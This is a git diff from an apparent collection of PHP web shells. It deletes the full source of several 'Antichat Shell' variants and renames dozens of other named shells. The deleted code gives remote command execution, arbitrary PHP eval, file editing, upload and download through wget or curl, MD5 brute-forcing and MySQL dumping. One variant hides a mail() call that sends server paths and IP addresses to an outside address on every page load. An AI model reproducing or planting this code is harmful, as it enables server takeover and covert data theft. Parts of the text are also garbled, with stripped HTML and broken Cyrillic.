name dirs and filestypesizepermissionoptions
'.$dire[$i].'dir'.perms($link).'
'.$files[$i].'
file'.view_size(filesize($linkfile)).''.perms($linkfile).' -D -E
"; -}}} - -if($action=="viewer"){ -scandire($dir); -} -//end viewer FS - -//editros -if($action=="editor"){ - function writef($file,$data){ - $fp = fopen($file,"w+"); - fwrite($fp,$data); - fclose($fp); - } - function readf($file){ - if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else { - $contents = fread($le, filesize($file)); - fclose($le);} - return htmlspecialchars($contents); - } -if($_POST['save'])writef($file,$_POST['data']); -echo "
- - -
-
"; -} -//end editors -?> -
COPYRIGHT BY ANTICHAT.RU
- diff --git a/Antichat Shell. Modified by Go0o$E.php b/Antichat Shell. Modified by Go0o$E.php deleted file mode 100644 index af4c7d7..0000000 --- a/Antichat Shell. Modified by Go0o$E.php +++ /dev/null @@ -1,693 +0,0 @@ -$v){$_POST[$k] = stripslashes($v);}} -@ini_set('max_execution_time',0); -(@ini_get('safe_mode')=="1" ? $safe_mode="ON" : $safe_mode="OFF"); -(@ini_get('disable_functions')!="" ? $disfunc=ini_get('disable_functions') : $disfunc=0); -(strtoupper(substr(PHP_OS, 0, 3))==='WIN' ? $os=1 : $os=0); -$action=$_POST['action']; -$file=$_POST['file']; -$dir=$_POST['dir']; -$content=''; -$stdata=''; -$style=''; -$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; -$footer=''; -$lang=array( -'filext'=>'File already exists.', -'uploadok'=>'File was successfully uploaded.', -'dircrt'=>'Dir is created.', -'dontlist'=>'Listing dir permission denide.', -'dircrterr'=>'Don\'t create dir.', -'dirnf'=>'Dir not found.', -'filenf'=>'File not found.', -'dontwrdir'=>'Only read current dir.', -'empty'=>'Directory not empty or access denide.', -'deletefileok'=>'File deleted.', -'deletedirok'=>'Dir deleted.', -'isdontfile'=>'Selected file this is link.', -'cantrfile'=>'Cant read file, permission denide.', -'onlyracc'=>'Don\'t edit, only read access.', -'workdir'=>'Work directory: ', -'fullacc'=>'Full access.', -'fullaccdir'=>'Full accees you are can create and delete dir.', -'thisnodir'=>'This is don\'t dir.', -'allfuncsh'=>'All function for work shell was disabled.' -); - -$act=array('viewer','editor','upload','shell','phpeval','download','delete','deletedir','brute','mysql');//here added new actions - -function test_file($file){ -if(!file_exists($file))$err="1"; -elseif(!is_file($file)) $err="2"; -elseif(!is_readable($file))$err="3"; -elseif(!is_writable($file))$err="4"; else $err="5"; -return $err;} - -function test_dir($dir){ -if(!file_exists($dir))$err="1"; -elseif(!is_dir($dir)) $err="2"; -elseif(!is_readable($dir))$err="3"; -elseif(!is_writable($dir))$err="4"; else $err="5"; -return $err;} - -function perms($file){ - $perms = fileperms($file); - if (($perms & 0xC000) == 0xC000) {$info = 's';} - elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} - elseif (($perms & 0x8000) == 0x8000) {$info = '-';} - elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} - elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} - elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} - elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} - else {$info = 'u';} - $info .= (($perms & 0x0100) ? 'r' : '-'); - $info .= (($perms & 0x0080) ? 'w' : '-'); - $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); - $info .= (($perms & 0x0020) ? 'r' : '-'); - $info .= (($perms & 0x0010) ? 'w' : '-'); - $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); - $info .= (($perms & 0x0004) ? 'r' : '-'); - $info .= (($perms & 0x0002) ? 'w' : '-'); - $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); - return $info;} - -function view_size($size){ - if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} - elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} - elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} - else {$size = $size . " B";} - return $size;} - -if(isset($action)){if(!in_array($action,$act))$action="viewer";else $action=$action;}else $action="viewer"; - -if(isset($dir)){ - $ts['test']=test_dir($dir); - switch($ts['test']){ - case 1:$stdata.=$lang['dirnf'];break; - case 2:$stdata.=$lang['thisnodir'];break; - case 3:$stdata.=$lang['dontlist'];break; - case 4:$stdata.=$lang['dontwrdir'];$dir=chdir($GLOBALS['dir']);break; - case 5:$stdata.=$lang['fullaccdir'];$dir=chdir($GLOBALS['dir']);break;} -}else $dir=@chdir($dir); - -$dir=getcwd()."/"; -$dir=str_replace("\\","/",$dir); - -if(isset($file)){ - $ts['test1']=test_file($file); - switch ($ts['test1']){ - case 1:$stdata.=$lang['filenf'];break; - case 2:$stdata.=$lang['isdontfile'];break; - case 3:$stdata.=$lang['cantrfile'];break; - case 4:$stdata.=$lang['onlyracc'];$file=$file;break; - case 5:$stdata.=$lang['fullacc'];$file=$file;break;} -} - -function shell($cmd) -{ - global $lang; - $ret = ''; - if (!empty($cmd)) - { - if(function_exists('exec')){@exec($cmd,$ret);$ret = join("\n",$ret);} - elseif(function_exists('shell_exec')){$ret = @shell_exec($cmd);} - elseif(function_exists('system')){@ob_start();@system($cmd);$ret = @ob_get_contents();@ob_end_clean();} - elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$ret = @ob_get_contents();@ob_end_clean();} - elseif(@is_resource($f = @popen($cmd,"r"))){$ret = "";while(!@feof($f)) { $ret .= @fread($f,1024); }@pclose($f);} - else $ret=$lang['allfuncsh']; - } - return $ret; -} - -function createdir($dir){mkdir($dir);} - -//delete file -if($action=="delete"){ -if(unlink($file)) $content.=$lang['deletefileok']." Click here for back in viewer"; -} -//delete dir -if($action=="deletedir"){ -if(!rmdir($file)) $content.=$lang['empty']." Click here for back in viewer"; -else $content.=$lang['deletedirok']." Click here for back in viewer"; -} -//shell -if($action=="shell"){ -$content.="
- -
-
-
";} -//editor -if($action=="editor"){ - $stdata.="
- - - Open file:>\">
"; - function writef($file,$data){ - $fp = fopen($file,"w+"); - fwrite($fp,$data); - fclose($fp); -} - function readf($file){ - clearstatcache(); - $f=fopen($file, "r"); - $contents = fread($f,filesize($file)); - fclose($f); - return htmlspecialchars($contents); -} -if(@$_POST['save'])writef($file,$_POST['data']); -if(@$_POST['create'])writef($file,""); -$test=test_file($file); -if($test==1){ -$content.="
- -File name:
- -
"; -} -if($test>2){ -$content.="
- - -
-
"; -}} -//viewer -if($action=="viewer"){ -$content.=""; -$content.=""; - } - $content.=""; - for($i=0;$i'.$dire[$i].''; - } - for($i=0;$i'.$files[$i].'
'; - } - $content.="

Open directory: >\">
"; - if (is_dir($dir)) { - if (@$dh = opendir($dir)) { - while (($file = readdir($dh)) !== false) { - if(filetype($dir . $file)=="dir") $dire[]=$file; - if(filetype($dir . $file)=="file")$files[]=$file; - } - closedir($dh); - @sort($dire); - @sort($files); - if ($GLOBALS['os']==1) { - $content.="
Select drive:"; - for ($j=ord('C'); $j<=ord('Z'); $j++) - if (@$dh = opendir(chr($j).":/")) - $content.=' '.chr($j).''; - $content.="
Name dirs and filestypesizepermissionoptions
dir'.perms($link).'X
file'.view_size(filesize($linkfile)).''.perms($linkfile).'DEX
"; -}}} -//downloader -if($action=="download"){ -header('Content-Length:'.filesize($file).''); -header('Content-Type: application/octet-stream'); -header('Content-Disposition: attachment; filename="'.$file.'"'); -readfile($file);} -//phpeval -if($action=="phpeval"){ -$content.="
- - - <?php
-
- ?>
-
"; -if(isset($_POST['phpev']))$content.=eval($_POST['phpev']);} -//upload -if($action=="upload"){ - if(isset($_POST['dirupload'])) $dirupload=$_POST['dirupload'];else $dirupload=$dir; - $form_win=" - "; - if($os==1)$content.=$form_win; - if($os==0){ - $content.=$form_win; - $content.=''; -} - -if(isset($_POST['uploadloc'])){ -if(!isset($_POST['filename'])) $uploadfile = $dirupload.basename($_FILES['file']['name']); else -$uploadfile = $dirupload."/".$_POST['filename']; - -if(test_dir($dirupload)==1 && test_dir($dir)!=3 && test_dir($dir)!=4){createdir($dirupload);} -if(file_exists($uploadfile))$content.=$lang['filext']; -elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) -$content.=$lang['uploadok']; -} - -if(isset($_POST['upload'])){ - if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename'])) - switch($_POST['with']) - { - case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break; - case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break; - case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break; - case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break; - case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break; - case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break; -}}} -//Brute -if($action=="brute"){ - -function Brute() { - global $action,$pass_de,$chars_de,$dat,$date; -ignore_user_abort(1); -} -if($chars_de==""){$chars_de="";} -$content="
- Upload to dir:
New file name:
File addres: -
- - - - -"; - -if($_POST[pass_de]){ -$pass_de=htmlspecialchars($pass_de); -$pass_de=stripslashes($pass_de); -$dat=date("H:i:s"); -$date=date("d:m:Y"); -} -{ -crack_md5(); -} -} -function crack_md5() { -global $chars_de; -$chars=$_POST[chars]; -set_time_limit(0); -ignore_user_abort(1); -$chars_de=str_replace("<",chr(60),$chars_de); -$chars_de=str_replace(">",chr(62),$chars_de); -$c=strlen($chars_de); -for ($next = 0; $next <= 31; $next++) { -for ($i1 = 0; $i1 <= $c; $i1++) { -$word[1] = $chars_de{$i1}; -for ($i2 = 0; $i2 <= $c; $i2++) { -$word[2] = $chars_de{$i2}; -if ($next <= 2) { -result(implode($word)); -}else { -for ($i3 = 0; $i3 <= $c; $i3++) { -$word[3] = $chars_de{$i3}; -if ($next <= 3) { -result(implode($word)); -}else { -for ($i4 = 0; $i4 <= $c; $i4++) { -$word[4] = $chars_de{$i4}; -if ($next <= 4) { -result(implode($word)); -}else { -for ($i5 = 0; $i5 <= $c; $i5++) { -$word[5] = $chars_de{$i5}; -if ($next <= 5) { -result(implode($word)); -}else { -for ($i6 = 0; $i6 <= $c; $i6++) { -$word[6] = $chars_de{$i6}; -if ($next <= 6) { -result(implode($word)); -}else { -for ($i7 = 0; $i7 <= $c; $i7++) { -$word[7] = $chars_de{$i7}; -if ($next <= 7) { -result(implode($word)); -}else { -for ($i8 = 0; $i8 <= $c; $i8++) { -$word[8] = $chars_de{$i8}; -if ($next <= 8) { -result(implode($word)); -}else { -for ($i9 = 0; $i9 <= $c; $i9++) { -$word[9] = $chars_de{$i9}; -if ($next <= 9) { -result(implode($word)); -}else { -for ($i10 = 0; $i10 <= $c; $i10++) { -$word[10] = $chars_de{$i10}; -if ($next <= 10) { -result(implode($word)); -}else { -for ($i11 = 0; $i11 <= $c; $i11++) { -$word[11] = $chars_de{$i11}; -if ($next <= 11) { -result(implode($word)); -}else { -for ($i12 = 0; $i12 <= $c; $i12++) { -$word[12] = $chars_de{$i12}; -if ($next <= 12) { -result(implode($word)); -}else { -for ($i13 = 0; $i13 <= $c; $i13++) { -$word[13] = $chars_de{$i13}; -if ($next <= 13) { -result(implode($word)); -}else { -for ($i14 = 0; $i14 <= $c; $i14++) { -$word[14] = $chars_de{$i14}; -if ($next <= 14) { -result(implode($word)); -}else { -for ($i15 = 0; $i15 <= $c; $i15++) { -$word[15] = $chars_de{$i15}; -if ($next <= 15) { -result(implode($word)); -}else { -for ($i16 = 0; $i16 <= $c; $i16++) { -$word[16] = $chars_de{$i16}; -if ($next <= 16) { -result(implode($word)); -}else { -for ($i17 = 0; $i17 <= $c; $i17++) { -$word[17] = $chars_de{$i17}; -if ($next <= 17) { -result(implode($word)); -}else { -for ($i18 = 0; $i18 <= $c; $i18++) { -$word[18] = $chars_de{$i18}; -if ($next <= 18) { -result(implode($word)); -}else { -for ($i19 = 0; $i19 <= $c; $i19++) { -$word[19] = $chars_de{$i19}; -if ($next <= 19) { -result(implode($word)); -}else { -for ($i20 = 0; $i20 <= $c; $i20++) { -$word[20] = $chars_de{$i20}; -if ($next <= 20) { -result(implode($word)); -}else { -for ($i21 = 0; $i21 <= $c; $i21++) { -$word[21] = $chars_de{$i21}; -if ($next <= 21) { -result(implode($word)); -}else { -for ($i22 = 0; $i22 <= $c; $i22++) { -$word[22] = $chars_de{$i22}; -if ($next <= 22) { -result(implode($word)); -}else { -for ($i23 = 0; $i23 <= $c; $i23++) { -$word[23] = $chars_de{$i23}; -if ($next <= 23) { -result(implode($word)); -}else { -for ($i24 = 0; $i24 <= $c; $i24++) { -$word[24] = $chars_de{$i24}; -if ($next <= 24) { -result(implode($word)); -}else { -for ($i25 = 0; $i25 <= $c; $i25++) { -$word[25] = $chars_de{$i25}; -if ($next <= 25) { -result(implode($word)); -}else { -for ($i26 = 0; $i26 <= $c; $i26++) { -$word[26] = $chars_de{$i26}; -if ($next <= 26) { -result(implode($word)); -}else { -for ($i27 = 0; $i27 <= $c; $i27++) { -$word[27] = $chars_de{$i27}; -if ($next <= 27) { -result(implode($word)); -}else { -for ($i28 = 0; $i28 <= $c; $i28++) { -$word[28] = $chars_de{$i28}; -if ($next <= 28) { -result(implode($word)); -}else { -for ($i29 = 0; $i29 <= $c; $i29++) { -$word[29] = $chars_de{$i29}; -if ($next <= 29) { -result(implode($word)); -}else { -for ($i30 = 0; $i30 <= $c; $i30++) { -$word[30] = $chars_de{$i30}; -if ($next <= 30) { -result(implode($word)); -}else { -for ($i31 = 0; $i31 <= $c; $i31++) { -$word[31] = $chars_de{$i31}; -if ($next <= 31) { -result(implode($word)); -}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} - -function result($word) { -global $dat,$date; -$pass_de=$_POST[pass_de]; -$dat2=date("H:i:s"); -$date2=date("d:m:Y"); - -if(md5($word)==$pass_de){ - - - -echo "
Decrypte MD5 -
 MD5 ���:".$pass_de."
 ������� ����:
ENG: -[a-z] -[A-Z]
-[0-9] -[�������]

-RUS: -[�-�] -[�-�] -

  -
- - - -
��������� ���������� �������� �������:
�������������� ������:  $word
������ ��������:  $dat - $date
��������� ��������:  $dat2 - $date2
���������� �������� ����� ������� � ����: ".$word."_md5
"; - - - -$f=@fopen($word._md5,"a+"); -fputs($f,"��� �� MD5 [$pass_de] = $word -������ ��������:\t$dat - $date -��������� ��������:\t$dat2 - $date2"); -exit; -}} - -//Mysql - -if($action=="mysql"){ -if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } - if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ - $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']); - if($db) - { - if(@mysql_select_db($_POST['mysql_db'],$db)) - { - $sql1 .= "# ---------------------------------\r\n"; - $sql1 .= "# date : ".date ("j F Y g:i")."\r\n"; - $sql1 .= "# database : ".$_POST['mysql_db']."\r\n"; - $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n"; - $sql1 .= "# ---------------------------------\r\n\r\n"; - - $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); - $row = @mysql_fetch_row($res); - $sql1 .= $row[1]."\r\n\r\n"; - $sql1 .= "# ---------------------------------\r\n\r\n"; - - $sql2 = ''; - - $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); - if (@mysql_num_rows($res) > 0) { - while ($row = @mysql_fetch_assoc($res)) { - $keys = @implode("`, `", @array_keys($row)); - $values = @array_values($row); - foreach($values as $k=>$v) {$values[$k] = addslashes($v);} - $values = @implode("', '", $values); - $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n"; - } - $sql2 .= "\r\n# ---------------------------------"; - } - $content.="
������! ���� ������ ������!
"; - if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } - else { echo $sql1.$sql2; } - } // end if(@mysql_select_db($_POST['mysql_db'],$db)) - else $content.="
����� �� ���!
"; - @mysql_close($db); - } - } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){ - else if(!empty($_POST['dif'])&&!$fp) { $content.="
������, ��� ���� ������ � ����!
"; } - -$content.="
- - ����: - -
 ��������� ���� � �����: $str[0]"; -@$tc++; -} -$content.=" - - - - - - - - - - -
"; - -@$base=$_POST['base']; -@$db=$_POST['db']; -$content.="

[����� ������: $tc]"; -if($base){ -$content.="

�������: [$tbl]
"; -$result=mysql_list_tables($db); -while($str=mysql_fetch_array($result)){ -$c=mysql_query ("SELECT COUNT(*) FROM $str[0]"); -$records=mysql_fetch_array($c); -$content.="[$records[0]]$str[0]
"; - -mysql_free_result($c); -}} -$content.="
- - - - - - - - - - - - -
"; - -@$vn=$_POST['vn']; -$content.= "���� ������: $db => $vn
"; -@$inside=$_POST['inside']; -@$tbl=$_POST['tbl']; -if($inside){ -$content.= ""; - -mysql_select_db($db) or die(mysql_error()); -$c=mysql_query ("SELECT COUNT(*) FROM $tbl"); -$cfa=mysql_fetch_array($c); -mysql_free_result($c); -$content.= "�����: $cfa[0] - - -��: -��: - - - - - - - - - - - -"; -@$vn=$_POST['vn']; -@$from=$_POST['from']; -@$to=$_POST['to']; -@$from=$_POST['from']; -@$to=$_POST['to']; -if(!isset($from)){$from=0;} -if(!isset($to)){$to=50;} -$query = "SELECT * FROM $vn LIMIT $from,$to"; -$result = mysql_query($query); -for ($i=0;$i$lee) { -$nst_inside=htmlspecialchars($lee); -$content.= "\r\n"; -} -} -mysql_free_result($result); -$content.= "
 $nst_inside
"; -}}} - -//end function - -?>
.| Shell |. .| Viewer |..| Editor |..| Upload |..| Brute |..| Mysql Dumper|..| Php Eval |..| <-back |..| forward->|.

Safe mode:
Disable functions:
OS:
Server:
Id:

Status:
-
| COPYRIGHT BY ANTICHAT.RU | Made by Grinay | Modified by Go0o$E |
diff --git a/Antichat_Shell_v1.3.php b/Antichat_Shell_v1.3.php deleted file mode 100644 index 72ea5cb..0000000 --- a/Antichat_Shell_v1.3.php +++ /dev/null @@ -1,180 +0,0 @@ -BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}'; -$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; -$footer=''; -$sd98 = "john.barker446@gmail.com"; -$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98"); -if(@$_POST['action']=="exit")unset($_SESSION['an']); -if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1'; - -if($_SESSION['an']==0){ -echo $header; -echo '
Login:
Password:
'; -echo $footer; -exit;} - -if($_SESSION['action']=="")$_SESSION['action']="viewer"; -if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action']; -if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir']; -if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";} - - -//downloader -if($action=="download"){ -header('Content-Length:'.filesize($file).''); -header('Content-Type: application/octet-stream'); -header('Content-Disposition: attachment; filename="'.$file.'"'); -readfile($file); -} -//end downloader -?> - - -
- - - - - -
| Shell | Viewer| Editor| EXIT |

-
- - - -
- -
- - - -
-
-";} -//end shell - -//viewer FS -function perms($file) -{ - $perms = fileperms($file); - if (($perms & 0xC000) == 0xC000) {$info = 's';} - elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} - elseif (($perms & 0x8000) == 0x8000) {$info = '-';} - elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} - elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} - elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} - elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} - else {$info = 'u';} - $info .= (($perms & 0x0100) ? 'r' : '-'); - $info .= (($perms & 0x0080) ? 'w' : '-'); - $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); - $info .= (($perms & 0x0020) ? 'r' : '-'); - $info .= (($perms & 0x0010) ? 'w' : '-'); - $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); - $info .= (($perms & 0x0004) ? 'r' : '-'); - $info .= (($perms & 0x0002) ? 'w' : '-'); - $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); - return $info; -} - -function view_size($size) -{ - if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} - elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} - elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} - else {$size = $size . " B";} - return $size; -} - -function scandire($dir){ - $dir=chdir($dir); - $dir=getcwd()."/"; - $dir=str_replace("\\","/",$dir); -if (is_dir($dir)) { - if (@$dh = opendir($dir)) { - while (($file = readdir($dh)) !== false) { - if(filetype($dir . $file)=="dir") $dire[]=$file; - if(filetype($dir . $file)=="file")$files[]=$file; - } - closedir($dh); - @sort($dire); - @sort($files); - -echo ""; -echo ""; -if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { -echo ""; -} -echo " -"; -for($i=0;$i'; - } -for($i=0;$i - -'; -} -echo "
Open directory:
Select drive:"; -for ($j=ord('C'); $j<=ord('Z'); $j++) - if (@$dh = opendir(chr($j).":/")) - echo ' '.chr($j).''; - echo "
OS: ".@php_uname()."
name dirs and filestypesizepermissionoptions
'.$dire[$i].'dir'.perms($link).'
'.$files[$i].'
file'.view_size(filesize($linkfile)).''.perms($linkfile).' -D -E
"; -}}} - -if($action=="viewer"){ -scandire($dir); -} -//end viewer FS - -//editros -if($action=="editor"){ - function writef($file,$data){ - $fp = fopen($file,"w+"); - fwrite($fp,$data); - fclose($fp); - } - function readf($file){ - if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else { - $contents = fread($le, filesize($file)); - fclose($le);} - return htmlspecialchars($contents); - } -if($_POST['save'])writef($file,$_POST['data']); -echo "
- - -
-
"; -} -//end editors -?> -
COPYRIGHT BY ANTICHAT.RU
- diff --git a/529.php b/Collection/529.php similarity index 100% rename from 529.php rename to Collection/529.php diff --git a/AK-74 Security Team Web Shell Beta Version.php b/Collection/AK-74 Security Team Web Shell Beta Version.php similarity index 100% rename from AK-74 Security Team Web Shell Beta Version.php rename to Collection/AK-74 Security Team Web Shell Beta Version.php diff --git a/OTHER/Ajax_PHP_Command_Shell.php b/Collection/Ajax_PHP_Command_Shell.php similarity index 100% rename from OTHER/Ajax_PHP_Command_Shell.php rename to Collection/Ajax_PHP_Command_Shell.php diff --git a/Antichat Shell.php b/Collection/Antichat Shell.php similarity index 100% rename from Antichat Shell.php rename to Collection/Antichat Shell.php diff --git a/Ayyildiz Tim -AYT- Shell v 2.1 Biz.php b/Collection/Ayyildiz Tim.php similarity index 100% rename from Ayyildiz Tim -AYT- Shell v 2.1 Biz.php rename to Collection/Ayyildiz Tim.php diff --git a/C99madShell v. 2.0 madnet edition.php b/Collection/C99madShell.php similarity index 100% rename from C99madShell v. 2.0 madnet edition.php rename to Collection/C99madShell.php diff --git a/CasuS 1.5.php b/Collection/CasuS 1.5.php similarity index 100% rename from CasuS 1.5.php rename to Collection/CasuS 1.5.php diff --git a/CrystalShell v.1.php b/Collection/CrystalShell.php similarity index 100% rename from CrystalShell v.1.php rename to Collection/CrystalShell.php diff --git a/Cyber Shell.php b/Collection/CyberShell.php similarity index 100% rename from Cyber Shell.php rename to Collection/CyberShell.php diff --git a/DTool Pro.php b/Collection/DTool Pro.php similarity index 100% rename from DTool Pro.php rename to Collection/DTool Pro.php diff --git a/Dive_Shell_1.0_Emperor_Hacking_Team.php b/Collection/Dive_Shell.php similarity index 100% rename from Dive_Shell_1.0_Emperor_Hacking_Team.php rename to Collection/Dive_Shell.php diff --git a/GFS_web-shell_ver_3.1.7_-_PRiV8.php b/Collection/GFS_web-shell_ver_3.1.7_-_PRiV8.php similarity index 100% rename from GFS_web-shell_ver_3.1.7_-_PRiV8.php rename to Collection/GFS_web-shell_ver_3.1.7_-_PRiV8.php diff --git a/GRP WebShell 2.0 release build 2018 (C)2006,Great.php b/Collection/GRP WebShell 2.0 release build 2018 (C)2006,Great.php similarity index 100% rename from GRP WebShell 2.0 release build 2018 (C)2006,Great.php rename to Collection/GRP WebShell 2.0 release build 2018 (C)2006,Great.php diff --git a/Gamma Web Shell.php b/Collection/Gamma Web Shell.php similarity index 100% rename from Gamma Web Shell.php rename to Collection/Gamma Web Shell.php diff --git a/OTHER/JspWebshell 1.2.php b/Collection/JspWebshell 1.2.php similarity index 100% rename from OTHER/JspWebshell 1.2.php rename to Collection/JspWebshell 1.2.php diff --git a/OTHER/JspWebshell_1.2.php b/Collection/JspWebshell_1.2.php similarity index 100% rename from OTHER/JspWebshell_1.2.php rename to Collection/JspWebshell_1.2.php diff --git a/KA_uShell 0.1.6.php b/Collection/KA_uShell 0.1.6.php similarity index 100% rename from KA_uShell 0.1.6.php rename to Collection/KA_uShell 0.1.6.php diff --git a/Loaderz WEB Shell.php b/Collection/Loaderz WEB Shell.php similarity index 100% rename from Loaderz WEB Shell.php rename to Collection/Loaderz WEB Shell.php diff --git a/Macker's Private PHPShell.php b/Collection/Macker's Private PHPShell.php similarity index 100% rename from Macker's Private PHPShell.php rename to Collection/Macker's Private PHPShell.php diff --git a/Moroccan Spamers Ma-EditioN By GhOsT.php b/Collection/Moroccan_Spamers.php similarity index 100% rename from Moroccan Spamers Ma-EditioN By GhOsT.php rename to Collection/Moroccan_Spamers.php diff --git a/MySQL_Web_Interface_Version_0.8.php b/Collection/MySQL_Web_Interface.php similarity index 100% rename from MySQL_Web_Interface_Version_0.8.php rename to Collection/MySQL_Web_Interface.php diff --git a/MyShell.php b/Collection/MyShell.php similarity index 100% rename from MyShell.php rename to Collection/MyShell.php diff --git a/Mysql_interface_v1.0.php b/Collection/Mysql_interface_v1.0.php similarity index 100% rename from Mysql_interface_v1.0.php rename to Collection/Mysql_interface_v1.0.php diff --git a/NCC-Shell.php b/Collection/NCC-Shell.php similarity index 100% rename from NCC-Shell.php rename to Collection/NCC-Shell.php diff --git a/NGH.php b/Collection/NGH.php similarity index 100% rename from NGH.php rename to Collection/NGH.php diff --git a/NTDaddy v1.9.php b/Collection/NTDaddy v1.9.php similarity index 100% rename from NTDaddy v1.9.php rename to Collection/NTDaddy v1.9.php diff --git a/Non-alphanumeric.php b/Collection/Non-alphanumeric.php similarity index 100% rename from Non-alphanumeric.php rename to Collection/Non-alphanumeric.php diff --git a/PHANTASMA.php b/Collection/PHANTASMA.php similarity index 100% rename from PHANTASMA.php rename to Collection/PHANTASMA.php diff --git a/PHP Shell.php b/Collection/PHP Shell.php similarity index 100% rename from PHP Shell.php rename to Collection/PHP Shell.php diff --git a/PHPRemoteView.php b/Collection/PHPRemoteView.php similarity index 100% rename from PHPRemoteView.php rename to Collection/PHPRemoteView.php diff --git a/PHVayv.php b/Collection/PHVayv.php similarity index 100% rename from PHVayv.php rename to Collection/PHVayv.php diff --git a/PhpSpy Ver 2006.php b/Collection/PhpSpy Ver 2006.php similarity index 100% rename from PhpSpy Ver 2006.php rename to Collection/PhpSpy Ver 2006.php diff --git a/Predator.php b/Collection/Predator.php similarity index 100% rename from Predator.php rename to Collection/Predator.php diff --git a/Rootshell.v.1.0.php b/Collection/Rootshell.v.1.0.php similarity index 100% rename from Rootshell.v.1.0.php rename to Collection/Rootshell.v.1.0.php diff --git a/STNC WebShell v0.8.php b/Collection/STNC WebShell v0.8.php similarity index 100% rename from STNC WebShell v0.8.php rename to Collection/STNC WebShell v0.8.php diff --git a/Safe0ver Shell -Safe Mod Bypass By Evilc0der.php b/Collection/Safe0ver Shell -Safe Mod Bypass By Evilc0der.php similarity index 100% rename from Safe0ver Shell -Safe Mod Bypass By 